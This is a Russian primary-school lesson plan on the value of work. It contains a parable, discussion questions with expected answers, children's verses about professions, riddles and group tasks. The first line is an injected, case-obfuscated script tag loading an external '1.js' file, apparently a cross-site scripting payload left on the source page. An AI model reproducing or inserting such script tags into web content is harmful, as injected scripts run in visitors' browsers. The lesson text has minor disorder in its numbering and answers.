<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Тема: «Человек и труд ».
Цель: Создание условий для осознания
обучающимися ценности труда, его созидательной роли в жизни человека..
Ход классного часа
.
1. Целеполагание.
- Тема нашего классного часа: « Человек и труд ».
- Сегодня мы с вами поговорим о труде, о его назначении в жизни человека,
о качествах человека труда, и, конечно о ценностях труда земного.
2. Проблемная ситуация.
- А начать разговор я хочу с чтения притчи К.Д. Ушинского «Два плуга».
Послушайте её очень внимательно.
Из одного и того же куска железа в одной и той же мастерской были сделаны
два плуга. Один из них попал в руки земледельца и немедленно пошел в работу, а другой
долго и совершенно бесполезно провалялся в лавке купца.
Случилось через несколько времени, что оба земляка опять встретились.
Плуг, бывший у земледельца, блестел, как серебро, и был еще лучше, чем в то время,
как он только вышел из мастерской; плуг же, пролежавший без всякого дела в лавке,
потемнел и покрылся ржавчиной.
-Скажи, пожалуйста, отчего ты так блестишь?- спросил заржавевший плуг
у своего старого знакомца.
-От труда, мой милый,- отвечал тот. - А если ты заржавел и сделался
хуже, чем был, то потому, что все это время ты пролежал на боку, ничего не делая.
3. Беседа по притче.
-Каким вы увидели плуг, который попал к земледельцу?
-Почему плуг, блестел, как серебро?
(Потому что он трудился, а труд украшает)
-Что случилось с плугом, который пролежал без дела?
(Потемнел и покрылся ржавчиной.)
- Кого подразумевает К.Д. Ушинский, говоря о плугах?
(Труженика и ленивого человека)
- Какой вывод можно сделать, прослушав притчу?
- Чему хотел научить вас автор?
(Нужно трудиться)
- Не зря говорят: «Пока железо в работе, его и ржа (ржавчина) не берёт».
- Значит, для чего нужно трудиться?
(Чтобы стать краше.)
4. Актуальность темы классного часа.
- Назовите хором тему нашего классного часа.
( Они много трудились.)
5. Беседа о труде в семье.
- А что такое труд?
(Работа на благо.)
- У каждого человека врождённая потребность
в действии, в активности. И эта активность должна приносить пользу.
- В Толковом словаре С.И. Ожегова такое объяснение:
«Труд – целесообразная деятельность человека, направленная на создание материальных
и духовных ценностей». (На доске)
- А когда нужно начинать трудиться?
- А как вас в вашей семье приучали к труду?
- Дети, я знаю, что ваш основной труд – это
учёба.
- А есть ли у вас дома какие – то обязанности?
- Помогаете ли вы своим родителям, бабушкам,
дедушкам?
- Дети, а как трудятся в дружной семье?
- Как легче построить дом: одному или сообща?
(Один в поле не воин)
- В коллективном труде человек мужает как физически,
так и нравственно. От труда зависит его благополучие.
6. «Кто не работает, тот и не ест».
- Счастливы те люди, которые многое умеют делать
своими руками, и как несчастны и беспомощны те, которые ничему не научились.
Труду следует учиться всю жизнь.
Наши предки – люди, жившие до нас, - умели
трудиться по совести, в ладу с окружающей природой и друг с другом.
- Вы, наверное, слышали выражение «Кто не работает,
тот не ест».
- Что оно значит?
( Значит, трудиться должны все.)
- Многие из нас и не подозревали, что знаменитые
слова, «Если кто не работает, тот и не ешь», принадлежат ученику Иисуса Христа апостолу
Павлу.
- Например, на Руси был всем известный царь
Пётр Первый
Он трудился вместе с работниками. Сначала сам
осваивал разные ремёсла, а потом обучал им других. А больше всего он любил токарное
дело и занимался им по нескольку часов в день.
4. О профессиях родителей.Лежебока
- А что нужно для того, чтобы хорошо трудится?
(Научиться хорошо выполнять свою работу.)
- А что для этого нужно?
(Получить профессию)
- А что такое профессия?
(Определённый вид деятельности.)
- «Основной род занятий, трудовой деятельности», - сказано в Толковом
словаре С.И. Ожегова. (На доске)
- Дети, а что вы знаете о профессиях своих родителей?
(Несколько ответов.)
8. О будущих профессиях.
- Незаметно пролетят годы,
и вы будете выбирать профессию.
Учитель:
- Кем хотите стать вы, дети?
Поскорее нам ответьте!
1 уч.
— Я хочу шофёром быть.
Грузы разные возить.
2 уч.
— Я мечтаю о балете.
Лучше нет его на свете.
3 уч.
— Я хочу врачом стать классным.
Буду всех лечить лекарством.
Очень вкусным, как конфета.
Съел его - болезней нету!
4 уч.
— В красках я души не чаю.
Стать художником мечтаю.
Закажите мне портрет.
Справлюсь я, сомнений нет!
5 уч.
— Вы со мной, друзья, не спорьте,
Я хочу стать первым в спорте.
Шайбу мне забить - пустяк,
Я играю за "Спартак"!
6 уч.
— Я хочу стать пианисткой.
Замечательной артисткой.
Музыка со мною с детства,
Я люблю её всем сердцем.
7 уч.
— Я мечтаю стать скорей
Воспитателем детей.
С ними петь, гулять, играть.
Дни рожденья отмечать.
8 уч.
Все профессии прекрасны.
Все профессии важны.
Знаем мы, что наши руки
Будут Родине нужны!
- Дети,
какая же профессия самая важная?
(Все важны.)
- Правильно!
«Все работы
- хороши!
Выбирай
на вкус!»
( В.В.
Маяковский.)
- Л.Н.
Толстой писал, что «стыдиться можно и должно не какой-либо работы, хотя бы самой
нечистой, а только одного: праздной жизни».
- Я верю
в то, что ваш труд будет приносить добро и радость.
О труде
земном
- Ребята,
прежде, чем задать следующий вопрос, я предлагаю вам отгадать загадки.
Ой, ты
добрый молодец,
Захромал
мой жеребец.
Ты подкуй
его опять!
- Отчего
ж не подковать?
Вот гвоздь,
вот подкова.
Раз – два
и готово.
(Кузнец)
Занят важной
он работой:
Урожай
– его забота,
Чтоб сумели
уродиться
Рожь, овёс
или пшеница.
(Агроном)
Он бревно
отешет ловко,
Стены сделает, навес.
У него
смолой спецовка,
Как сосновый пахнет лес.
(Плотник.)
Коз, коров
зовет, скликает,
В свой витой рожок играет.
(Пастух.)
Летают
пальцы птицами –
Поток струится
ситцевый.
Летают
пальцы пчёлками –
Поток струится
шёлковый.
(Ткачиха.)
Её давно
бурёнки знают,
Всегда
мычанием встречают
И за её
нелёгкий труд
Всё молоко
ей отдают.
(Доярка.)
- Чей труд
стал основой многих профессий?
- Как же
называется труд этих людей?
( Труд
земной)
- Перечислите,
пожалуйста, ещё раз основных представителей труда земного. .
Строятся,
как и много веков назад, красивые деревянные дома, изготавливается лёгкая фарфоровая
и металлическая посуда, радует глаз удобная нарядная одежда.
Вот это
– плоды труда земного.
2. Активное
занятие « Качества человека труда». Работа в группах.
- Дети,
каковы основные качества человека труда?
- Каким
он должен быть?
- Подумайте
сначала самостоятельно, потом посоветуйтесь друг с другом.
- Отметьте
только те слова в карточках, которые отражают сущность человека труда.
Трудолюбие,
честность, взаимопомощь, лень, добросовестность, сила, порядок,
ловкость,
равнодушие, терпение
Отвечают
представители групп.
3. Благодарность
родителям.
Ребята
а как вы считаете, обладают ли такими качествами ваши родители?
- А вы
благодарны родителям за их труд?
- Скажите
им слова благодарности.
(Я благодарен
своим родителям за то, что они трудятся, чтобы у меня было всё необходимое для жизни.)
4. Активное
занятие «Семена Добра». Работа в группах.
Ребята чтобы получилась хорошо любая работа,
каким человеком нужно быть?
(Трудолюбивым)
- Если
вы хотите воспитать в себе это качество, возьмите на вооружение лозунг: «Ни дня
без доброго дела!»
- Предлагаю
вам «Перечень добрых дел»
• Помощь
старикам в хозяйственных делах
(покупка
продуктов, уборка жилища и др.)
• Защита
и помощь младшим.
• Забота
о родителях, помощь по дому.
• Работа
в библиотеке по «лечению» книг.
• Посадка
и охрана деревьев, кустарников,
цветов.
• Помощь
одноклассникам в учении.
• Забота
о заболевшем товарище.
• Помощь
учителям на уроках.
• Уборка
класса и т. д.
5. Ресурсный
круг «Что ценили прадеды и что ценим мы в труде земном?»
- Дети,
прошло много с тех пор, как человек научился трудиться. Но ценности труда не изменились.
- Что же
ценили прадеды и что ценим мы в труде земном?
(Взаимопонимание,
взаимовыручку, доброту, ловкость, умение, терпение, наблюдательность)
- Да, это
есть основные ценности труда земного. И как отметил замечательный баснописец И.А.
Крылов, от труда должна быть польза.
III. Заключительная
часть.
- Ребята,
какова тема нашего классного часа?
(Человек
и труд )
- Мне хочется
вам пожелать, чтобы ваши руки были умелыми, трудолюбивыми, а сердце – добрым и умным.
Нитку вдеть
для пальца – непосильный труд,
Но зато
два пальца платьице сошьют,
Три в тетрадке
нашей пишут хоть куда,
Десять
– поле вспашут,
Строят
города!
- А родителям
хочется напомнить слова:
И.А. Крылов,
от труда должна быть польза.